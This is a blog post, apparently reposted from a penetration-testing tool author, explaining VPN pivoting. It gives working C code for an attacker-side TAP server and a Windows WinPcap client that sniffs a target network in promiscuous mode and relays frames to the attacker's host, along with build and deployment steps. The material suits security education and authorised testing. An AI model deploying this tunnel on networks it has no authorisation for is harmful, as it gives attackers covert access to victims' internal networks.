A VPN pivot is a virtual network interface that gives you layer-2 access to your target’s network. Rapid7’s Metasploit Pro was the first pen testing product with this feature. Core Impact has this capability too.
In September 2012, I built a VPN pivoting feature into Cobalt Strike. I revised my implementation of this feature in September 2014. In this post, I’ll take you through how VPN pivoting works and even provide code for a simple VPN pivoting client and server you can play with.
https://github.com/rsmudge/VPN-Pivoting-Client
The VPN Server
Let’s start with a few terms: The attacker runs VPN server software. The target runs a VPN client. The connection between the client and the server is the channel to relay layer-2 frames. In this example client and server, we’ll use a TCP data channel.
To the attacker, the target’s network is available through a virtual network interface. This interface works like a physical network interface. When one of your program tries to interact with the target network, the operating system will make the frames it would drop onto the wire available to the VPN server software. The VPN server consumes these frames, relays them over the data channel to the VPN client. The VPN client receives these frames and dumps them onto the target’s network.
Here’s what the process looks like:
The TAP driver makes this possible. According to its documentation, the TUN/TAP provides packet reception and transmission for user space programs. The TAP driver allows us to create a (virtual) network interface that we may interact with from our VPN server software.
Here’s the code to create a TAP [adapted from the TUN/TAP documentation]:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #include <linux/if.h> #include <linux/if_tun.h> int tun_alloc( char *dev) { struct ifreq ifr; int fd, err; if ( (fd = open( "/dev/net/tun" , O_RDWR)) < 0 ) return tun_alloc_old(dev); memset (&ifr, 0, sizeof (ifr)); ifr.ifr_flags = IFF_TAP | IFF_NO_PI; if ( *dev ) strncpy (ifr.ifr_name, dev, IFNAMSIZ); if ( (err = ioctl(fd, TUNSETIFF, ( void *) &ifr)) < 0 ) { close(fd); return err; } strcpy (dev, ifr.ifr_name); return fd; } |
This function allocates a new TAP. The dev parameter is the name of our interface. This is the name we will use with ifconfig and other programs to configure it. The number it returns is a file descriptor to read from or write to the TAP.
To read a frame from a TAP:
1 | int totalread = read(tap_fd, buffer, maxlength); |
To write a frame to a TAP:
1 | write(tap_fd, buffer, length); |
We now know everything needed to create a simple VPN server. For the rest of this post, we’ll take advantage of simpletun.c by Davide Brini.
simpletun.c is an example of using a network TAP. It’s ~300 lines of code that demonstrates how to send and receive frames over a TCP connection. This GPL(!) example accompanies Brini’s wonderful Tun/Tap Interface Tutorial. I recommend that you read it.
When simpletun.c sends a frame, it prefixes the frame with an unsigned short in big endian order. This 2-byte number, N, is the length of the frame in bytes. The next N bytes are the frame itself. simpletun.c expects to receive frames the same way.
To build simpletun:
1 | gcc simpletun.c -o simpletun |
Note: simpletun.c allocates a small buffer to hold frame data. Change BUFSIZE on line 42 to a higher value, like 8192. If you don’t do this, simpletun.c will eventually crash. You don’t want that.
To start simpletun as a server:
1 | ./simpletun -i [interface] -s -p [port] -a |
The VPN Client
Now that we have a VPN server, we need a VPN client. We could use simpletun.c as our VPN client, but we’re interested in a Windows VPN client. Our Windows VPN client will sniff traffic on our target’s network. When it sees frames, it will relay these frames to the VPN server, which will write them to our TAP interface. This will cause the attacker’s operating system to process the frame as if it was read off of the wire.
To build a VPN client, I opted to use the Windows Packet Capture API, WinPcap.CACE Inc. RiverBed Technology maintains this Windows implementation of LibPCAP.
First, we need to open up the target network device that we will VPN pivot into. We also need to put this device into promiscuous mode. Here’s the code to do that:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | pcap_t * raw_start( char * localip, char * filterip) { pcap_t * adhandle = NULL; pcap_if_t * d = NULL; pcap_if_t * alldevs = NULL; char errbuf[PCAP_ERRBUF_SIZE]; /* find out interface */ d = find_interface(&alldevs, localip); /* Open the device */ adhandle = (pcap_t *)pcap_open(d->name, 65536, PCAP_OPENFLAG_PROMISCUOUS | PCAP_OPENFLAG_NOCAPTURE_LOCAL, 1, NULL, errbuf); if (adhandle == NULL) { printf ( "\nUnable to open the adapter. %s is not supported by WinPcap\n" , d->name); return NULL; } /* filter out the specified host */ raw_filter_internal(adhandle, d, filterip, NULL); /* ok, now we can free out list of interfaces */ pcap_freealldevs(alldevs); return adhandle; } |
Next, we need to connect to the VPN server and start a loop that reads frames and sends them to our VPN server. I do this in raw.c. Here’s the code to ask WinPcap to call a function when a frame is read:
1 2 3 | void raw_loop(pcap_t * adhandle, void (*packet_handler)(u_char *, const struct pcap_pkthdr *, const u_char *)) { pcap_loop(adhandle, 0, packet_handler, NULL); } |
The packet_handler function is my callback to respond to each frame read by WinPCAP. It writes frames to our VPN server. I define this function in vpn.c.
1 2 3 4 | void packet_handler(u_char * param, const struct pcap_pkthdr * header, const u_char * pkt_data) { /* send the raw frame to our server */ client_send_frame(server, ( void *)pkt_data, header->len); } |
I define client_send_frame in client.c. This function writes the frame’s length and data to our VPN server connection. If you want to implement a new channel or add encryption to this VPN client, client.c is the place to explore this.
We now know how to read frames and send them to the VPN server.
Next, we need logic to read frames from the VPN server and inject these onto the target network. In vpn.c, I create a thread that calls client_recv_frame in a loop. The client_recv_frame function reads a frame from our connection to the VPN server. The pcap_sendpacket function injects a frame onto the wire.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | DWORD ThreadProc( LPVOID param) { char * buffer = malloc ( sizeof ( char ) * 65536); int len, result; unsigned short action; while (TRUE) { len = client_recv_frame(server, buffer, 65536); /* inject the frame we received onto the wire directly */ result = pcap_sendpacket(sniffer, (u_char *)buffer, len); if (result == -1) { printf ( "Send packet failed: %d\n" , len); } } } |
This logic is the guts of our VPN client. The project is ~315 lines of code and this includes headers. Half of this code is in client.c which is an abstraction of the Windows Socket API. I hope you find it navigable.
To run the VPN client:
1 | client.exe [server ip] [server port] [local ip] |
Once the VPN client connects to the VPN server, use a DHCP client to request an IP address on your VPN server’s network interface [or configure an IP address with ifconfig].
Build Instructions
I’ve made the source code for this simple VPN client available under a BSD license. You will need to download the Windows PCAP Developer Pack and extract it to the vpnclient folder. You can build the vpn client on Kali Linux with the included Minimal GNU for Windows Cross Compiler. Just type ‘make’ in the vpnclient folder.
Deployment
To try this VPN client, you will need to install WinPcap on your target system. You can download WinPcap from RiverBed Technology. And, that’s it. I hope you’ve enjoyed this deep dive into VPN pivoting and how it works.
The Covert VPN feature in Cobalt Strike is a different VPN pivoting implementation from what’s in this post. I compile Covert VPN’s client as a Reflective DLL. This allows me to inject it into memory. The Covert VPN client and server encrypt the VPN traffic. Covert VPN will also silently drop a minimal WinPcap install and clean it up for you. And, Covert VPN supports multiple data channels. It’ll tunnel frames over TCP, UDP, HTTP, or through Meterpreter.
'malware ' 카테고리의 다른 글
One Doesn't Simply Analyze Moudoor (0) | 2014.10.16 |
---|---|
FinFisher Shell Extension and Drivers Analysis (0) | 2014.10.16 |
iSIGHT discovers zero-day vulnerability CVE-2014-4114 used in Russian cyber-espionage campaignf (0) | 2014.10.14 |
FinFisher Malware Dropper Analysis (0) | 2014.10.14 |
FinFisher Malware Analysis - Part 2 (0) | 2014.10.14 |